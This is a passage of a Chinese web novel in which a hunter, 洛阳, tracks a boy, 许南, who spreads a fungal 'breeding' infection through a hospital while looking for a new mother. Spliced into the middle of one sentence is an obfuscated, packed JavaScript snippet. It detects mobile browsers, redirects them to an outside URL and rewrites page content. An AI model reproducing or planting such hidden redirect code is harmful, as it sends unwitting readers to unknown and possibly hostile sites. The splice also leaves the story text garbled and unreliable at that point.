“这些钱不够。”陆亭看着他这幅冷冰冰的样子,总感觉许南的神色看得让人发憷,像一滩乌黑的淤泥。 许南将钱递给他,陆亭轻咳一声,还是不放人走,下一秒,许南就像是一只愤怒的小豹子般朝着他冲了过来,扑进了陆亭的怀里,差点将他扑倒在地上。 “你这小混蛋!”陆亭扶着自己的腰,艰难地站起来,他说:“我真是倒了霉了……你还想跑,不准走!” 他扯着许南的胳膊就把人重新拽了回来,在挣扎间,许南一怒之下咬住了他的手,又用胳膊拽他,在他的怀里冲撞着,陆亭龇牙咧嘴地将人拖回来,心里也有了火气:“你再这样下去,我就把这件事都告诉你妈妈!” “她不会在意的。”没想到的是,许南还真的停了下来,他望着面前的陆亭,说:“她不会在乎我的。” 陆亭的动作一顿,看着许南这幅模样,男人仰天捂了把脸,说道:“我算是撞到祖宗了。”他真的觉得自己纯粹吃饱了没事干来管这些事,陆亭将许南往门内扯了扯,他说:“你答应我,你要是把这些东西放回去,我就不把这件事说出去。” 陆亭顿了顿,对上许南瘦巴巴的样子,又说:“……还给你炒蛋炒饭吃。” “你应该饿了吧?”他说。 许南犹豫了一瞬,那个冬天,他又一次被他的母亲赶出家门,却没有再经历之前的寒冷,而是被陆亭拉进了屋子里,吃了记忆中最温暖的一餐。 那感觉让他想起了很多年的母亲,但过去时光中的女人却早已变成了另外一副模样,他在陆亭的身上重新感受到了这一切,这感觉让他混乱起来:从某种程度上来说,陆亭的所作所为,以及现在给他的感觉,才更像是过去的母亲。 许南吃着碗里的东西,心中突然冒出一个想法:如果陆亭可以变成他的“妈妈”就好了,如果他的妈妈可以和从前一样给予他一丝纯粹的、没有变化的爱就好了。 许南缓缓睁开眼,手中托着蘑菇状的“繁育”,他是在垃圾桶旁发现了它,就算是饿到无法忍受的许南,也知道颜色鲜艳的蘑菇是不能吃的东西,但饿到极致的人是没有思考的能力,也没有尊严可言的,他只是恶狠狠地将这株小蘑菇拔出来往嘴里塞,就听见对方发出了一声刺耳的嗡鸣,下一秒,繁育的力量落到了他的身上,小蘑菇慌里慌张地从他手里逃了出去,就看见许南接受了它的这份力量,却不是要让其他人孕育他的子嗣,而是拥有了属于他的力量:作为初代感染者,他可以成为‘子嗣’,从任何被感染的母体中选择一位心仪的母亲,重新诞生于世。 这样一来,他不仅拥有了许多的兄弟姐妹,还可以重新拥有属于自己的家庭,无论对方是否愿意成为他的母亲,就如孩子也无法选择他们的父母,而他的母亲也无法拒绝成为他的容器。 他首先将目标选为了陆亭,但许南想要先考察一番,而在这三个月内,繁育的力量通过他的影响逐渐覆盖了半个城市,并不是所有人都有资格成为他的母亲,许南 耐心且冷酷地挑选着母体,就像是在橱窗内挑选自己最心仪的玩偶。 他有许多兄弟姐妹:就像是那些曾经诞生,之后却被他的生母遗弃的兄弟姐妹一般,他们都很需要一位新的“妈妈”。 但现在,这个计划被打断了,小蘑菇的身体一抖一抖的,在医院里被他捧在手上发颤,刚刚那出现在他面前的可怖追猎者似乎仍然在追逐着繁育留下的痕迹,向着他们的方向冲来,虎视眈眈、无可阻挡。 然而许南并不在乎,他回想着洛阳的样子,对着小蘑菇说道:“那个人看上去适合成为新的母体吗?” 他的声音低沉,是似成年人一般自私自利的恶,又是似孩童一般的纯粹。 “又或者说,他适合成为我们的新妈妈吗?” 洛阳的身影很快便出现在了楼梯的尽头,他手中的斧头在地上一路溅落着滴滴答答的血水,男人的身影看上去高大却不过度健壮,身形匀称有力、颀长高挑,浑身散发的气势如烈火,又似刀锋,洛阳随手抖了抖烟灰,那点灰烬就顺着重力落到他的衣襟上,被他随手拍开的同时,衣领下方的胸肌也跟着抖了抖。 他看上去……不像一个可以成为“好妈妈”的人。 反而更像是个一言不合就会把不听话的孩子打成折叠屏的父亲。 洛阳听见许南谈论他的话,这名猎人的眉毛挑了挑,脸上不仅没有不悦,反而还露出了个颇为兴味的笑容,他玩弄着手里的斧头,下方的子嗣拦不住他,已经都被他砍成了满地的碎屑。洛阳说:“虽然我对你说的话很感兴趣,但是我可以告诉你,我可不想平白无故的多出像下面那群丑东西一样难看的孩子。” 洛阳把手里的烟头甩进垃圾桶,目光落在许南手中的小蘑菇上,被他犀利的眸光一看,小怪物伸出触手摸了摸自己的伞盖,那上面还有几个小窟窿呢,它真是恨死那只可恶的鸟了!也同样畏惧面前的洛阳。 所以,小蘑菇抖啊抖,就那样非常不成器的往下一钻,从许南的掌心一路溜到地上,头也不回地逃走了。 洛阳想要追上去,许南却挡在了他的面前,他看上去没有那么瘦了,发丝柔顺黑亮,但那双漆黑的眼睛仍然像一口黑潭,从井口内投入任何东西,都只能听见漫长的回声。 他看着洛阳的眼神像是在审视一个道具的价值。 片刻后,许南的眼神移到洛阳手中的仪器上,他说:“陆至体内孕育的子嗣被你消灭了,你救了他。” 洛阳点了点头。 “为什么呢?”许南似乎很疑惑,洛阳向前走了一步,漫不经心地压迫这两个人之间的距离,他说:“谁知道呢?可能是因为他不想怀孕吧。” “我不知道你们之间发生了什么,又或者你对在场的所有人有何怨言,但获得了‘繁育’之力后的你,在其他人都毫无准备的情况下,就往别人的肚子里塞了一个定时炸弹。”洛阳的手摊开,高高扬起,做出了一副类似于烟火爆炸的场景,他大大地张开手,嘴里发出嘭地一声,像是聚会现场捏爆气球的坏孩子般笑起来:“然后等到他们慌里慌张,意识到肚子里的东西正在蚕食他们的生命和一切的时候,让他们嘭地一下爆炸。” “这多冒昧啊。”洛阳说:“我的意思是,你有点太过激了。” 许南冷冷地看着他,眉头微动,似乎因为他的形容而露出了一丝不悦,他毕竟只是个孩子,就算拥有再强大的能力,也还不能很好地在洛阳面前隐藏自己的情绪。 洛阳轻咳一声,将斧头撑在地面上,准备给自己点燃一支烟:“所以,我现在要来解决这件事,就算你是一个再怎么恶劣的反社会人格,又或者是想要报复世界,我都不能再让你继续这样下去。” 许南浅浅的眉毛拧在一起,他终于开口反驳洛阳的话,却不是反驳其他,而是对他说:“这不是在报复社会,又或者在做些什么,不是。” 洛阳的动作一顿,他抬起脸,说:“什么?” “我不是因为别的原因,又或是想要报复谁而这么做的。”许南站在那里,这样一个一头黑发的孩子,以一种纯粹的语气说着类似于童谣般残酷的话:“我做这一切,只是为了想要找一位新的妈妈。” 洛阳愣愣地站在那里,不知道为什么,他的表情有些凝固了,男人深呼吸了一口气,他将烟插了回去,握着斧头说:“就因为这个?” “为我的兄弟姐妹,以及我自己,挑选一位最合适的母亲,然后,我们会重新拥有一切。”许南勾起唇,缓缓地笑起来:“这就是‘繁育’的目的,它给予我的力量,让我可以拥有一个崭新的家。” “这就是我想要的一切。”许南说。 洛阳深呼吸了一口气,他呼吸、呼吸,片刻后,男人还是难以压制自己心中无法形容的情绪,脱口而出道:“你认真的?” 这个医院的所有人、包括楼下那群躺在地上的子嗣的诞生,就仅仅只是因为这个梦想? 这可真是让他瞠目结舌,也无法反驳的理由啊! “我不得不怀疑你没有上过生理课,又或者是没有被科普过男女的差别……”洛阳的话说到一半就被许南所打断,他像是知道洛阳要说些什么,于是摇了摇头:“繁育的力量是混乱的,它并不拘泥于这些,陆亭是男人,我不能剥夺他成为我妈妈的可能性。” 洛阳终于无话可说。 他实在无法理解、只觉得白芷的猜测即使滑稽,却又好像似乎真的猜对了,而在他的面前,许南的眸光微亮,他望着面前的洛阳,看着那俊美无俦、显得那样耀眼的脸庞,洛阳就像是他在电视机上看见过的,会出现在广告中的偶像和明星,如果能够成为他的孩子,似乎是一件很幸福的事。 在许南的脑中,属于他兄弟姐妹的笑声响起,许南也跟着笑起来:“是吗?你们很喜欢他吗?” 许南上前一步,缓缓靠近面前的洛阳,他的笑容格外那样纯粹,他说:“你想要一个孩子吗?” 洛阳抬起脸望向他,男人一甩手中的斧头,断然拒绝道:“不,我不是来跟你玩家庭游戏的。” 洛阳说:“我是来杀你的。” 许南脑中的笑声一顿,取而代之的是愤怒和不悦,他脸上的笑意来得快、去得也快,两个人不近不远地对峙着,在这短暂的沉默中,洛阳听见下方传来了一道道杂乱的枪响,以及来自于陆至和其他人的呼喊,他们大喊着洛阳的名字,一边喊,一边叫着救命:“洛阳,救命啊!” “我不要怀孕、我不要生!”一群人倒在地上,吓得魂不守舍,如同四脚蜥蜴般爬行,而在他们的周围,一圈圈孢子般的物质沾附在陆至的身上,让刚刚才得以解脱的男人不断打着喷嚏。 而在他们的身边,整个病房的墙壁都仿佛被一张粘稠的巨网所包裹,一个个黑亮的气泡在表面起伏,又转瞬破碎开来,每一个破碎的气泡中心,都有菌丝在不断繁殖、扩散,它们伸出长长的触须,在空中不断撒落孢子,将自身的因子散布到医院的每个角落。 之前跟在洛阳身边的年轻人想要动手拿出箱子里的试管,却发现自己的四肢被一圈圈地裹住,身体被死死缠绕,一根跟菌丝缠绕在他的身上,淹没他的口鼻,下一秒,他的眼瞳中浮现菱形,喉咙发哑、开始不受控制地干呕、反胃,肚子里也开始传来令人不详的动静。 “洛阳!”歇斯底里的呼救声传来,让人闻者落泪、见者伤心:“救命啊!!” 洛阳的注意力被分散了一瞬,这短短的一瞬间,许南的身影一闪,却已经出现在了他的面前,他张开纤细的五指,眸中溢出一层晦暗的深黑色,瘦瘦高高的身影飘在空中,便要向着洛阳的脸颊按去。 “我的兄弟姐妹向你问好。”他说:“他们希望你可以成为我们家庭的一员。” 许南的长发飘飞,落在洛阳的面前,从他体内蔓延而出的菌丝,便要缠绕在男人的身上:“欢悦加入我们的家庭,成为族裔的一份 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许南的身体一再缩小,在这股春的力量下无所遁形,菌落所象征的繁育之力,只是生机和生命的另外一种表达形式,那只是这庞大概念中的其中一部分权柄,而面对这涵盖一切的“生”的概念后,便什么都不是了。 以至于在这样的力量面前,许南摇摇欲坠,几乎是在顷刻间便溃不成军。 他变得那样小,只能隐隐约约判断出这是属于洛阳的记忆回廊,是对方的过去。 他究竟是什么人? 许南回过头,却看见年轻的洛阳正坐在轮椅上,他长得那样瘦小,穿着病号服,黑色的短发显得异常蓬松,而在他的面前,一位穿着纯白长袍,拥有一头浅绿长发的少年正站在他的面前,将一片叶子放在他的掌心。 “感受到了吗?”少年的声音如春风般和煦,配上那张精致的脸,简直犹如一位从壁画中走下的天使,他将洛阳的手指合拢,让他感受叶片的轻盈,又将一朵花摘下,放在对方的掌心。 “这是绿色。”少年指着叶片说:“而这朵花,则是艳红色。” 洛阳盯着手中的东西,缓缓握紧了手指,片刻后,他像是一位尝试到白开水的食客一般味如嚼蜡地松开手,因他既不能看见叶的嫩绿,也无法望见花的鲜红,因他就和那些失去味觉的人一般,同样不被命运所眷顾。既然他们无法品尝到食物的美味,那么洛阳也是看不见春天中洋溢的色彩的。 在这座草地上所盛放出的五彩斑斓的所有颜色,在洛阳的眼中都只有灰白,但他仍然没有松开手,而是将那些东西细心地收纳起来,对少年说:“抱歉,我什么也看不见。” “但我还是想把这些东西收起来。”洛阳轻声细语地说:“因为这是你给我的礼物。” 他看上去太乖巧了,以至于少年不能责备他,他伸出手,温柔地抚摸洛阳的黑发,就像是抚摸一只无力行走,也无法体验到生活乐趣的小兽,但洛阳看上去仍然那么乐观,他唇边勾着浅浅的笑,望向少年的眼神便是这所研究所里唯一真实的东西。 于是,少年对洛阳说:“不要伤心,你总有一天会看见我所看见的一切,感受到我所感受的一切,因为春天的阳光落在你的身上,会给予你新的生机和希望。” 他握住洛阳的手,神色温和,像极了站在他身边的守护天使,少年浅绿色的长发嫩的像春日的新芽,只让人看见其中的勃勃生机,他说:“洛阳,看着我。” “我要把我的眼睛送给你。” “厄尔毕斯!”洛阳惊愕了一瞬,接着开始疯狂摇头,想要打消对方的念头,但少年仍然握着他的手,以一种温柔的语气说:“这样一来,你就可以……” 他的话说到一半,整个世界,乃至于记忆中的世界都凝滞了,少年突然从过去的影像中抬起头,望向了这突然出现在此地的外来者,他赤脚踩在草地上,缓缓走向前方的许南,当少年逐渐走近的时候,许南才艰难地抬起脸,意识到在那道眸光的注视下,他渺小地宛如灰尘。 “你不应该出现在这里。”那刚刚还显得那样温柔的声音,此时冷得让人胆寒,他说:“他是属于我的,这里的一切,都是只属于我的。” 少年缓缓低下头,浅绿色的长发垂落下来,仍然脆如春色,上方弥漫的绿意却已经如同瘴气般氤氲起来,已经显得过于浓郁,浓郁地叫人视线生疼。 他以一种理所当然的语气,对着这个世界宣誓主权:“他所有的一切都归属于我,而我则守护着他,你的存在,玷污了此地的纯洁。” 许南缓缓抬起脸,在恍惚中对上了少年的眼睛,于是,在温暖的春风中,他于此时此刻望见了少年背对着阳光所露出的一双暗金眼眸,而其中所涌动的,只有一股昭然若揭的独占欲。 少年轻轻吹了口气,许南的身体便在春风中溶解,化为了满地残渣。 洛阳伸出手,掌心浮现一个符号,刚准备制住面前的许南,他便看见少年回过了神,眼中重新浮现洛阳的身影,下一秒,他便像是看见了什么极度恐怖的东西一样,不受控制地尖叫了起来。 洛阳:“?” 洛阳左右观望了一下,接着说:“你这样很没有礼貌。” 少年没有理会他的话,刚刚还显得那样嚣张,要将洛阳变为培养巢的许南沉默了一瞬,便匆匆转身就逃,逃得比之前的小蘑菇还要快。 洛阳百思不得其解,他并没有被寄生,许南想要控制住他显然是一件异想天开的事,但在刚刚,他好像也因为某种原因记起了过去发生的一些事,再回过神的时候,许南就已经像尖叫的兔子一样逃走了。 不能让他逃走! 洛阳迅速追了上去,他的动作敏捷的像狩猎中的猎豹,逃窜的许南很快便被他抓住,他掌心的符文按在许南身上的那一瞬间,从对方身上涌出的菌丝便如同遭受到了极其可怖的攻击般颤栗起来,角落里的小蘑菇晃着伞盖摇头晃脑地在地上转,像是喝醉了酒般撑不住身体,只发出叽的一声,就吧唧一下软软地摔在地上没了力气。 繁育的力量正在减弱。 许南不可置信地回过头,他说:“你对我做了什么?” “回收你身上不应该存在的东西。”洛阳说着,将掌心里捕捉的东西塞进随身携带的小瓶子里,困住了属于繁育的力量,许南咬着牙想要阻止,却被洛阳轻易地压制,就算是他所创造出的子嗣,也在刚刚被洛阳杀了个干净。 他的身体越发虚弱起来,再这样下去,他会失去繁育的眷顾,变回那个一无所有的可怜虫。 许南的眼中划过一丝坚决,在洛阳已经擒住他,要从他体内剥夺更多力量的时候,许南的身体却在洛阳的面前慢慢融化,化为一滩粘稠的黑泥,变成了一小团聚拢在一起的孢子。 “逃走了?”洛阳眯起眼,他知道繁育的能力,而被赐予力量的人既然可以获得新生,自然也可选择一位母体,并将自身转生到母体的体内。 而想必现在,许南也就像是畏罪潜逃的犯人一样,灰溜溜地躲进属于他的洞穴内藏起来了。 而即使是他,也只能选择自己所认定的母体,以此完成自身的转生。 洛阳伸出手,将瓶中的一滴液体倒在仪器上,看着其中泛起的一道绿光。 他还在医院里。 所以,在这个医院里,有哪一位孕妇或者孕夫,是他所选择的“母亲”呢? 5. 四季之旅5 许南的身体蜷缩在羊水之中,细小的气泡因他的动作而鼓动着,宛如冰面下令人不安的躁动,他凭借“繁育”赐予他的能力逃过一劫,又重新回到了最初胎儿的形态,回归了最初的原点。 只不过这一次,是由许南来选择他的家庭和亲人。他的动作导致母体似乎发出了疲惫的惊呼声,许南能够感受到母体的慌张和不知所措,还有一丝难言的恐惧,但在这些惶恐和不安后,被迫接受现实的母体也选择了妥协,小心翼翼地抚摸着自己的肚子。 许南安静下来,他知道自己没有选错。 但他仍然有些不安:洛阳的来历不明,强大到令人匪夷所思的程度,他仍然在追踪着他,甚至几乎要杀死他。 而在尝试寄生对方时,他不仅没有成功,反而还险些被对方体内的一股力量抹除,那是比“繁育”更加高级的存在,许南一边思索,一边闭上眼睛陷入小憩,他太累了,他不准备再去挑衅洛阳,而是选择尽最后的力气保护自己和母体,来保证自己的完美诞生。 在他的意念引导下,母体宛如心血来潮一般摇摇晃晃地从床上爬起来,手中织着的围巾都掉到了地上,对方像是被某种力量控制住了一般,魂不守舍地想要逃走,却在下床的那一瞬间站不稳身子,啪地一下倒在地上,反胃般的呕吐。 干呕的声音在整个病房内回响,许南无可奈何,只能让母体重新回床休息,就在这短短的一段时间内,洛阳已经处理好了下方混乱的一切,准备朝着医院的上层走去。 这栋医院的下层已经狼狈地仿佛末日来临后的废弃避难所,洛阳抬脚想要迈开一步路,都要掂量一下前方的地面上是否会藏着一块粘稠脏污的“惊喜”,他像是在泥潭中行走,精挑细选之下踩了下去,却差点被吸附在桌子底下的黑水炸了一脸。 墙角里的一朵菌菇膨胀开来,又犹如气球般漏了气,从中喷出大小不一、深黑中带着迷幻色彩的孢子,那场景就和美术生们形容的“五彩斑斓的黑”差不多,不过一会,它们就会乘着风力在空气中扩散,接着沾附在寄体身上,宛如寄生虫般侵蚀对方的生命。 他宛如在一匹巨兽的胃囊中行走,墙壁和天花板都已经被菌落形成的菌毯所淹没,从天花板上垂落下来的菌丝表面如油膜一般反射出一群人疲惫的神色,从一楼开始,子嗣的尸体就已经淹没了一切,菌群们像是不甘示弱一般吞噬了这片房屋,又向着二楼的方向蔓延而去,还没能在短时间内侵蚀三楼。 洛阳赶到这里时,之前来辅助他的队友们都收到了不少的惊吓,因绝大部分的子嗣都被洛阳所吸引,接着被男人屠尽,所以他们还并未遭受到什么威胁,只是用各自的手段就轻易地处理掉了洛阳遗漏的子嗣。 但他们所遇到的威胁并不是这些:而是来自于繁育因子的感染,从某种程度上来说,除了像洛阳和白芷那般程度的强者以外,普通人只要落入到了这片由孢子形成的天罗地网中,就会宛如待崽的羔羊般只能引颈受戮,而他们即使做好了准备,并且戴上了特制的防毒面具,但他们也仍然十分不幸地……中招了。 先是打了个喷嚏、之后是莫名的恶心、反胃、呕吐,再然后便是腹部的不适,总之,等这几个大男人意识到不对劲的时候,他们就已经不得不接受现实了。 “啊啊啊啊啊!”这是摸着肚子,不敢置信的短发男人,他叫薄兴,是小队里最年轻的成员,之前也是他对陆至说:“是兄弟就一起怀孕”,结果现在,陆至成功堕胎,而他却怀上了。 “救命!”这是陆至看见这一幕后发出的尖叫声,薄兴听见他的声音后抬起脸看向他,无语道:“出事的又不是你,你喊救命干什么?” “我、我害怕。”陆至又往后退了退,看上去他已经留下了十分严重的心理阴影,薄兴放下手中的武器,他虽然也十分慌张,但箱子里的药剂还剩下三支,这是他们专门准备的解药,薄兴先给自己打了一支,又给其他队友解决了问题,剩下的最后一只他准备给洛阳留着,即使洛阳会被繁育感染听上去是一件天方夜谭的事。 “你说,如果老大他真的被感染了,那会是个什么场景啊?”有人凑到薄兴面前和他聊天。 薄兴眯起眼,脑中似乎划过了洛阳的身影,光是想到那一幕,他的大脑就反射性地想到了有一天他做了件蠢事,接着洛阳毫不犹豫地将他打成了折叠屏的经历,那么强大、那么肆意的洛阳不可能失败,他是所有人心中毫无异议的最强,但薄兴又想到了洛阳被感染后的样子,他先是感到了一阵恶寒,之后又莫名生出了一股浓浓的刺激感。 “如果真的发生了那样的事。”薄兴说:“那倒还真是有趣。” 其实其他人不知道的是,洛阳是很多人心中的偶像和英雄,他尊敬他,不由自主地想要追随他,崇拜他,无法接受对方的失败,却又有会生出一种希冀他跌落神坛的期望感,即使他知道这不可能。 他们如同追寻着灯塔般追寻着洛阳,指望着他可以给所有人带来一条通往希望的路,也许这就是灯塔存在的意义,他们并非追寻着灯塔,而是洛阳便是灯塔本身。 “你得保管好最后一支药剂,老大可能会需要它的。” 薄兴听见同伴的话,他下意识地握紧了手中的药剂,力度稍微重了一些,甚至有种隐隐将它捏碎的冲动,他突然很想看见这一幕。 但他最终还是将药剂放了回去,男人也很快没有再胡思乱想的时间:因为又有一批子嗣冲了过来,薄兴暗骂了一句,刚想干脆利落地解决这丑陋的怪物,就突然感觉鼻子一痒,然后是喉咙发痒、胃部恶心反胃,接着是迎面而来的呕吐感。 薄兴沉默了一瞬。 他又中奖了。 “这该死的……”他的话刚骂到一半,一股呕吐的欲望传来,薄兴扶着墙直接吐了,只剩下最后一支药剂了,薄兴头晕眼花,有些不知道该怎么办好,在这样的情况下,子嗣发出的低吼声已经隐隐透过房门传来,它们用利爪抓挠着那扇可怜的门,轰地一声,病房的大门便直接倒下,子嗣望见了隐藏在其中的猎物,它先是定定地看了薄兴一眼后,便直接略过了对方,转而扑向了一旁的陆至。 这并不是它对薄兴有什么怜悯之心,而是因为薄兴的体内孕育着它的兄弟姐妹,它族裔的一部分,见到这一幕,陆至非常不争气地被吓到双腿一抖,接着直接晕了过去,薄兴也拿他没有办法,一群人只能一边战斗,一边拖着陆至将他抬出了这间病房。 “呕、呕!”薄兴按着自己的喉咙,一边走,一边不停地干呕,一旁的队友见此慌乱了一瞬,他说:“你一定要撑住啊,薄兴,洛阳很快就会回来的。” “把药剂给我。” 薄兴说,他已经感觉自己肚子里的“孩子”在喊妈妈了,当然那更有可能是他的幻觉,毕竟怪物并不会说人话。 “不行,我们必须留下一支药剂备用。” “你这个……呕!”薄兴刚想过去抢夺,人就踉跄地倒了下去,而在他的面前,一只子嗣朝着队伍冲了过来,就在这危机时刻,只听见一声利器劈进重物之间的沉闷声响,一点烟灰顺着男人的动作弹动,在薄兴没有反应过来的情况下,他面前的子嗣便被洛阳直接砍成了两截。 血肉横飞,杀戮、野蛮又透出强大的力量,肆意张扬,又从容不迫的战斗,在怪物倒下的躯体后方,洛阳俊美的面容在血肉的空隙间望向了倒在地上的薄兴,他的嘴里叼着一根烟,手上握着一把消防斧,他没有说一句话,但在他出现的那一瞬间,所有人的心中都涌现出了一股只有他能带来的安全感。 “洛阳……”薄兴张开嘴,如鱼头般一张一合:“救我。” 洛阳弹了弹烟灰,他什么都没说,在处理了在场的子嗣后,他冲着另外一名队友勾了勾手指,对方便把箱子拿了过来,洛阳取出药剂调试了一番,接着像按住蠕动的章鱼般将已经控制不住自己在地上乱爬的薄兴按住,给他猛地扎下一针。 薄兴的脸色一变,转头呕出大片大片的黑水,洛阳抬起手,看着最后一管药剂在手中消失,他说:“自己爬起来。” 洛阳站起身,他拍了拍衣服,最后一支药剂已经用完了,众人正不知所措的时候,他伸出手打了个响指,一只黑色的渡鸦便从窗外飞入,它的体型庞大,宛如一只小型犬,眼眸是漂亮的金色,翎羽漆黑如墨,在光芒的照耀下反射出一闪而过的绚烂光斑,宛如镜面折射出所有的色彩。 这只渡鸦矜贵地在空中盘旋一圈,落在洛阳的身上,用细长的喙蹭了蹭男人的脸颊,洛阳抚摸着它的大脑袋,像在抚摸一只粘人的小型犬。 它张开嘴时,一根试管便落了下来,被洛阳一手接住,洛阳忍不住揪了揪它的尾羽,这一举动让渡鸦顿时瞪大了眼睛望着他,洛阳则说:“嘿,这可是特制的药剂,你可得小心点。” “噶!”它在洛阳身上跳来跳去,像是在寻找一个适合落脚的地方,接着,渡鸦颇有些臭美地整理好自己人类揉乱的羽毛,这才张开嘴,吐出白芷的声音: “你输了。” 白芷一张开口,短短三个字,就直接戳伤了洛阳的心。 “看来某些人这一次的运气很好,才有功夫在我面前炫耀。”洛阳忍不住去摸摸渡鸦的下巴,故意挠它的痒痒,小乌鸦的脑袋一点一点的,后来实在受不了,才张口嘴,一口咬住洛阳的手指。 哎呦!洛阳讪讪地收回手,渡鸦的喙很长,像把小剪刀似的,轻轻地卡住手指肉,就给人一种淡淡的疼,渡鸦的眼神很是无辜,白芷的声音带笑,他们之间的关系十分亲密,亲密到让薄兴忍不住一直去看的程度。 白芷说:“那就当做是我赢了这一局吧,小太阳,你可不要忘记了我们的约定。” 洛阳说:“等解决完手上的这件事之后,你再来说这些吧。”渡鸦在这时突然跳进他的怀里,像一只小狗摇晃着尾巴跳进主人的怀中,又用脑袋蹭他的衣服、胸口,像是撒娇似的提醒他不要耍赖,洛阳不得不陪它玩了一小会,这才满口答应,让白芷在外面继续辅助他,洛阳握着这根特制的药剂,就像是握住了一把通关的钥匙,他说:“就快结束了。” 洛阳转过身看向了陆至,他要确定一件事:“你的弟弟陆亭,现在应该还在这家医院里,对吧?” 陆至看着他的那张脸,还是和最开始一般恍惚的点了点头,洛阳确认了这一点后便将怀中的渡鸦托了托,他看着渡鸦展翅离开,又回过头对其他人说:“走吧,跟我去见见‘繁育’的现任使者。” 许南的身体颤抖了一瞬,他知道那个男人追上来了,他又一次想要控制母体逃离,却在这一过程中让对方本就衰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893508|159989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱的神经更加混乱,许南心中焦躁至极,而在洛阳的带领下,一群人先是一路走过了废墟般的一楼,又在破败的二楼中留下了一路的黑脚印,除了他们一行人以外,医院似乎已经没有其他活人,薄兴震惊地看着眼前的一幕,在他们的面前,遍地都是‘子嗣’残留的尸骸,所见之处似乎都是洛阳留下的战场,他在这场战斗中是唯一的胜利者,而无论是多么强大、多么可怖的怪物,在他的面前,都仅仅只是拦路的障碍,随时没有还手的余地。 洛阳手中的仪器发出滴滴的声音,令人诧异的是,在来到三楼的时候,他们居然看见了几个未被感染的活人,当洛阳出现在他们面前的那一瞬间,这几个医生和护士似乎被吓了一跳,一名医生更是出来慌张地说:“你们要干什么?” 他严肃地批评道:“这里是产房,两位孕妇即将生产了,你们不能在这种情况下打扰手术!” 比起下方的狼藉,三楼的人简直就像是被隔离在外一般,不知道他们面对的是什么东西,更不知晓发生了什么,微风拂过纯白的帘布,空气中满是寂静,其他人不知道发生了什么,面面相觑了一瞬,不知道是否要在这样的情况下打扰他们。 “两位孕妇?”只有洛阳在这个时候喃喃自语了一句话,接着,他皱起眉,脸上浮现了一丝笑容,这样一张英俊到令人失神的脸对人展露笑意时,是会达到一种让人头晕目眩的效果的,洛阳当然知道如何利用这一点,果然,医生恍惚了一瞬,接着,洛阳询问道:“不要紧张,我想要询问你们一件事,在病房里接受治疗的孕妇,呃,孕妇,是叫做陆亭吗?” “你是怎么知道的?”医生很吃惊,洛阳伸出手,把陆至一把拉了过来,他俨然把陆至当成了他的通行证,男人只能被他抓在手里,像拎起一个麻袋似的拎了起来:“他是陆亭的哥哥,我们能进去看看他吗?” “简直荒谬,你们难道要观看病人生孩子吗。”医生说,同时还狐疑地看着陆至。 “还有一件事,我想知道,另外一位孕妇是谁……” 洛阳的话说到一半,两声尖叫便如同心有灵犀般同时响起,医生没有再去管他,而是大步走向了产房,另外几位护士和医生则想要拦住他们,其他队友上前劝说,洛阳则比医生更快地来到产房,在进入房间的那一瞬间,他看见了躺在病床的陆亭。 以及躺在另外一边的产妇。 那个女人有一张熟悉的脸,洛阳端详着那张脸,从口袋中一张照片,在这一瞬间,他确定,这个女人就是许南的母亲。 而在这一刻,在洛阳的面前,许南的生母以及陆亭都躺在病床上,他们的肚子都同样膨胀起来,即将生产。 而在洛阳的手中,则只有一支药剂,许南只能选择一位母体,而一种异常恐怖的,难以形容的威胁感正从他们两个人的身上传来,这意味着若是没有注射正确的药剂,那许南一旦诞生,就将成为最强大的子嗣。 “这就是最后的挑战吗?幸运二选一?”洛阳随手拿起一件白大褂,给自己穿上后,又将自己的工牌戴好。 医生在一旁瞠目结舌,他刚想阻止洛阳,却看见男人已经朝着两位母体走过去,并开始指挥之后进入房间的护士,俨然成为了病房内的主治医师。 “你这小子,能听见我说话吧?” 许南蜷缩在一人体内,却能够通过母体的眼睛看见外界发生的一切,但洛阳走到两张病床之间时,他的心跳似乎也加快了几分。 “虽然我的运气向来很差,就好像财神爷不仅不想给我开窗,还把我的房子封死并在里面放了个屁一样,但二选一的概率,我还是可以选中的。”洛阳看着左右的两个人,病床上的二人都用惊恐的眼神望着他,其中一位女人是许南的生母,而另外一位则是小卖铺的老板陆亭。 某种危险的、可怖的力量正在孕育,洛阳望向身旁的女人:许南会重新选择他的生母吗?这毕竟是他的母亲。 还是说,洛阳看向陆亭,他会选择这个曾经对他伸出援手的陌生人,而对方的所作所为则是他所体验到的,似乎无限接近于母爱的关怀。 洛阳眯起了眼,他猜不出来,但这没有关系,他有作弊器。 窗外,一道嘹亮的鸟啼声如约而至,头顶王冠的黄金鸟带着璀璨的光芒,眼眸中闪耀的光彩仿佛可以看穿世间的一切,它象征着太阳、温暖,以及所有热烈华美的东西,黄金鸟展开翅膀,就那样径直落在了其中一人的身上,没有任何迟疑,洛阳打了个响指,时间在这一刻凝滞,他握住手中的针管,对准陆亭的身体扎了下去。 随着其中液体的注入,陆亭的神色从一开始的惶恐不安、再到后来的舒缓、平静,最后,疲惫的男人闭上眼睛,沉沉地睡了过去,而在他的身边,这所医院,包括这里的一切都在逐渐溶解,陆亭的身影慢慢消失,许南蜷缩在洛阳的面前,他缓缓从胎膜中爬出,露出属于一个孩子应该有的面孔。 “我不能选择我的母亲吗?”许南的声音模糊,他并不是在询问洛阳,更像是在自言自语:“我没有获得重生的资格吗?” 洛阳抽出一根烟,用黄金鸟的王冠点燃,他说:“这一切都跟我无关。” “我说过,我只是来杀你的。”洛阳弹了弹烟灰:“我发现了异常,所以我处理这件事,就这么简单。” 6. 四季之旅6 许南的身体慢慢淡去,像一律烟般消散,整个世界仿佛一场幻梦般迅速崩解、消散。整栋建筑和医院都在慢慢瓦解,洛阳没有去管大呼小叫,不知道发生了什么的医生和护士,而是让其他人分散开来,在医院寻找躲藏起来的‘繁育’因子。 “它的宿主被驱逐了,它躲不了多久的,抓住它!” 